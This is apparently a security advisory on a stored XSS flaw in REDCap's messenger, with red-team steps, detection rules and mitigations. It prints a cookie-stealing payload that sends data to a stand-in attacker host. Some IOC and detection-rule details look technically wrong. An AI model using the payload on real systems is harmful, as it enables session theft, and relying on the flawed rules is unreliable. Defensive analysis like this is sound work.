CVE-2024-56376

Executive Summary

CVE-2024-56376 is a stored cross-site scripting (XSS) vulnerability discovered in the built-in messenger of REDCap version 14.9.6. This flaw allows an authenticated user to inject malicious scripts into the message field. When the recipient clicks on the received message, the crafted payload executes within the context of the victim's browser, potentially enabling the theft of session cookies, redirection to malicious sites, or other client-side attacks. The vulnerability has a CVSS score of 5.4 (Medium), with a low attack complexity but requiring user interaction. No public proof-of-concept or patch details are currently available.

Supply Chain & Package Security

REDCap is a web application typically deployed as a PHP-based system. While not distributed via NPM, PyPI, Go, or Ruby registries, its dependencies (e.g., JavaScript libraries, PHP packages) may be vulnerable. Organizations should audit all third-party components used in their REDCap deployment for known vulnerabilities.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must click the message)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is considered Medium due to the requirement for authentication and user interaction. However, in a multi-user REDCap environment, the impact could be significant if an attacker targets administrative users.

Deep Dive & Mechanics

The vulnerability resides in the built-in messenger module of REDCap. The application fails to properly sanitize user-supplied input in the message body before storing it in the database. When a recipient views the message, the stored payload is rendered in the browser without adequate encoding, allowing arbitrary JavaScript execution.

Attack Flow:

1. An authenticated attacker composes a new message in the messenger.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into the message body.
3. The message is stored in the database without sanitization.
4. When the victim (another authenticated user) clicks on the message to view it, the payload executes in the victim's browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect to phishing pages.

Root Cause: Lack of output encoding or input validation on the message field in the messenger component.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation.

Vulnerable Code (PHP example):

// Vulnerable: Directly outputs user input without sanitization
echo "<div class='message'>" . $message_body . "</div>";

Patched Code (PHP example):

// Patched: Uses htmlspecialchars to encode HTML entities
echo "<div class='message'>" . htmlspecialchars($message_body, ENT_QUOTES, 'UTF-8') . "</div>";

The patched version ensures that any HTML tags in the message body are rendered as text, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a REDCap instance (version 14.9.6) with at least two authenticated user accounts.
• A web browser with developer tools.

Steps:

1. Log in as the attacker account.
2. Navigate to the messenger module.
3. Compose a new message to the victim user.
4. In the message body, inject the following payload:

   <script>alert('XSS')</script>
   

5. Send the message.
6. Log in as the victim account.
7. Click on the received message. The alert box will execute, confirming the XSS.

Advanced Payload (Cookie Theft):

<script>
fetch('https://attacker-controlled.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor web application logs for unusual message content containing <script> tags or event handlers.
• Use WAF rules to block common XSS patterns in POST requests to the messenger endpoint.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding on all user-supplied data in the messenger.
• Use a security library like HTML Purifier to sanitize HTML input.
• Restrict messenger functionality to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the REDCap server.
• Logs: POST requests to /redcap/api/messenger/send or similar endpoints containing <script> tags.
• File System: No file-based IOCs expected.
• Memory: No memory-based IOCs expected.

Detection Engineering

YARA Rule

rule CVE_2024_56376_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting REDCap messenger"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56376"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: REDCap Messenger Stored XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-56376 by injecting XSS payloads into REDCap messenger messages
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/redcap/api/messenger/send'
        cs-uri-query|contains:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in messages (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56376 REDCap Messenger Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/redcap/api/messenger/send"; http_uri; pcre:"/<script|<onerror|<onload/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the built-in messenger module if not essential.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Apply strict Content Security Policy (CSP) headers to prevent inline script execution.

Long-term Fix:

• Upgrade to a patched version of REDCap once available.
• Conduct a code review of the messenger module to ensure proper input sanitization and output encoding.
• Implement regular security training for developers on XSS prevention.

Workarounds:

• Use a reverse proxy to filter malicious requests.
• Restrict messenger access to a limited set of trusted users.

Valters IT